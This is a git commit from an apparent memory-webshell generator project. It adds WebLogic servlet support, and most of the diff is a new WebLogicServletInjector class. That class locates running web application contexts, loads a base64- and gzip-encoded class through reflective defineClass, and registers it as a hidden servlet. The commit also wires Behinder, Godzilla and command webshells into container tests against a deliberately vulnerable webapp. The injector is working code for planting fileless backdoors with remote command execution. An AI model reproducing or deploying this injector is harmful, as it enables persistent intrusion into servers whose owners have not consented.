feat: support weblogic servlet (resolved #5)

This commit is contained in:
ReaJason
2024-12-24 21:09:49 +08:00
parent 89472ceee1
commit ba2b74af66
8 changed files with 287 additions and 19 deletions
+5 -5
View File
@@ -44,11 +44,11 @@
| Listener | Listener | Filter | Filter |
| | | Listener | Listener |
| WebSphere7 ~ 9 | WebLogic 10 ~ 14 |
|------------------|--------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| 宝兰德 BES | 东方通 TongWeb | 中创 InforSuite AS 9 ~ 10 | 金蝶 Apusic AS |
|---------|-------------|---------------------------|--------------|
@@ -2,13 +2,17 @@ package com.reajason.javaweb.memshell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
import com.reajason.javaweb.memshell.shelltool.command.CommandServlet;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
import com.reajason.javaweb.memshell.weblogic.behinder.BehinderListener;
import com.reajason.javaweb.memshell.weblogic.command.CommandListener;
import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
@@ -21,6 +25,7 @@ public class WebLogicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
);
@@ -29,6 +34,7 @@ public class WebLogicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
);
@@ -37,6 +43,7 @@ public class WebLogicShell extends AbstractShell {
@Override
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
return Map.of(
Constants.SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
Constants.FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
Constants.LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
);
@@ -0,0 +1,11 @@
services:
weblogic1036:
image: reajason/weblogic:10.3.6
container_name: weblogic1036
ports:
- "7001:7001"
- "5005:5005"
environment:
JAVA_OPTS: "-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n"
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war
@@ -6,6 +6,7 @@ import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -36,6 +37,9 @@ public class WebLogic1036ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64), // java.net.SocketTimeoutException
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
@@ -45,12 +49,10 @@ public class WebLogic1036ContainerTest {
);
}
// @AfterAll
// static void tearDown() {
// String logs = container.getLogs();
// log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
// }
@AfterAll
static void tearDown() {
String logs = container.getLogs();
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
@@ -39,6 +39,9 @@ public class WebLogic12214ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
@@ -51,7 +54,6 @@ public class WebLogic12214ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -39,6 +39,9 @@ public class WebLogic14110ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Base64),
@@ -51,7 +54,6 @@ public class WebLogic14110ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -22,7 +22,6 @@ public class WebLogicFilterInjector {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
@@ -153,9 +152,6 @@ public class WebLogicFilterInjector {
return obj;
}
/**
* https://github.com/BeichenDream/GodzillaMemoryShellProject
*/
@SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception {
if (isInjected(context)) {
@@ -164,10 +160,8 @@ public class WebLogicFilterInjector {
Object filterManager = invokeMethod(context, "getFilterManager", null, null);
Object servletClassLoader = invokeMethod(context, "getServletClassLoader", null, null);
Map<String, Class<?>> cachedClasses = (Map<String, Class<?>>) getFieldValue(servletClassLoader, "cachedClasses");
//或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
cachedClasses.put(getClassName(), filter.getClass());
invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{getClassName(), getClassName(), new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
//将filter置为第一位
List<Object> filterPatternList = (List<Object>) getFieldValue(filterManager, "filterPatternList");
Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
filterPatternList.add(0, currentMapping);
@@ -0,0 +1,250 @@
package com.reajason.javaweb.memshell.weblogic.injector;
import javax.servlet.Servlet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class WebLogicServletInjector {
static {
new WebLogicServletInjector();
}
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public WebLogicServletInjector() {
try {
Object[] contexts = getContext();
for (Object context : contexts) {
Object servlet = getShell(context);
inject(context, servlet);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object[] getContextsByMbean() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
Class<?> serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Method theOneMethod = serverRuntimeClass.getMethod("theOne");
theOneMethod.setAccessible(true);
Object serverRuntime = theOneMethod.invoke(null);
Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
getApplicationRuntimesMethod.setAccessible(true);
Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
int applicationRuntimeSize = Array.getLength(applicationRuntimes);
for (int i = 0; i < applicationRuntimeSize; i++) {
Object applicationRuntime = Array.get(applicationRuntimes, i);
try {
Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
int componentRuntimeSize = Array.getLength(componentRuntimes);
for (int j = 0; j < componentRuntimeSize; j++) {
Object context = getFieldValue(Array.get(componentRuntimes, j), "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
}
} catch (Throwable ignored) {
}
try {
Set<Object> childrenSet = (Set<Object>) getFieldValue(applicationRuntime, "children");
for (Object componentRuntime : childrenSet) {
try {
Object context = getFieldValue(componentRuntime, "context");
if (webAppServletContextClass.isInstance(context)) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
} catch (Throwable ignored) {
}
}
return webappContexts.toArray();
}
public static Object[] getContextsByThreads() throws Throwable {
Set<Object> webappContexts = new HashSet<Object>();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
int threadCount = threadGroup.activeCount();
Thread[] threads = new Thread[threadCount];
threadGroup.enumerate(threads);
for (int i = 0; i < threadCount; i++) {
Thread thread = threads[i];
if (thread != null) {
Object workEntry = getFieldValue(thread, "workEntry");
if (workEntry != null) {
try {
Object context = null;
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
if (connectionHandler != null) {
Object request = getFieldValue(connectionHandler, "request");
if (request != null) {
context = getFieldValue(request, "context");
}
}
if (context == null) {
context = getFieldValue(workEntry, "context");
}
if (context != null) {
webappContexts.add(context);
}
} catch (Throwable ignored) {
}
}
}
}
return webappContexts.toArray();
}
public static Object[] getContext() {
Set<Object> webappContexts = new HashSet<Object>();
try {
webappContexts.addAll(Arrays.asList(getContextsByMbean()));
} catch (Throwable ignored) {
}
try {
webappContexts.addAll(Arrays.asList(getContextsByThreads()));
} catch (Throwable ignored) {
}
return webappContexts.toArray();
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
Object obj;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
obj = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
obj = clazz.newInstance();
}
return obj;
}
/**
* server/lib/weblogic.jar
* weblogic.servlet.internal.WebAppServletContext
*/
public void inject(Object context, Object servlet) throws Exception {
// weblogic.servlet.utils.URLMapping
Object servletMapping = invokeMethod(context, "getServletMapping", null, null);
Class<?> webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
Class<?> servletStubImplClass = Class.forName("weblogic.servlet.internal.ServletStubImpl");
Object servletStub = null;
Constructor<?> servletStubImplConstructor = null;
try {
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, Servlet.class, webAppServletContextClass);
servletStubImplConstructor.setAccessible(true);
servletStub = servletStubImplConstructor.newInstance(getClassName(), servlet, context);
} catch (NoSuchMethodException e) {
// 10.3.6
servletStubImplConstructor = servletStubImplClass.getDeclaredConstructor(String.class, String.class, webAppServletContextClass, Map.class);
servletStubImplConstructor.setAccessible(true);
servletStub = servletStubImplConstructor.newInstance(getClassName(), getClassName(), context, null);
}
Constructor<?> urlMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, servletStubImplClass);
urlMatchHelperConstructor.setAccessible(true);
Object urlMatchHelper = urlMatchHelperConstructor.newInstance(getUrlPattern(), servletStub);
Object mapping = invokeMethod(servletMapping, "get", new Class[]{String.class}, new Object[]{getUrlPattern()});
if (mapping == null) {
invokeMethod(servletMapping, "put", new Class[]{String.class, Object.class}, new Object[]{getUrlPattern(), urlMatchHelper});
System.out.println("servlet inject successful");
} else {
System.out.println("servlet already injected");
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = obj.getClass();
Method method = clazz.getDeclaredMethod(methodName, paramClazz);
method.setAccessible(true);
return method.invoke(obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(name);
}
}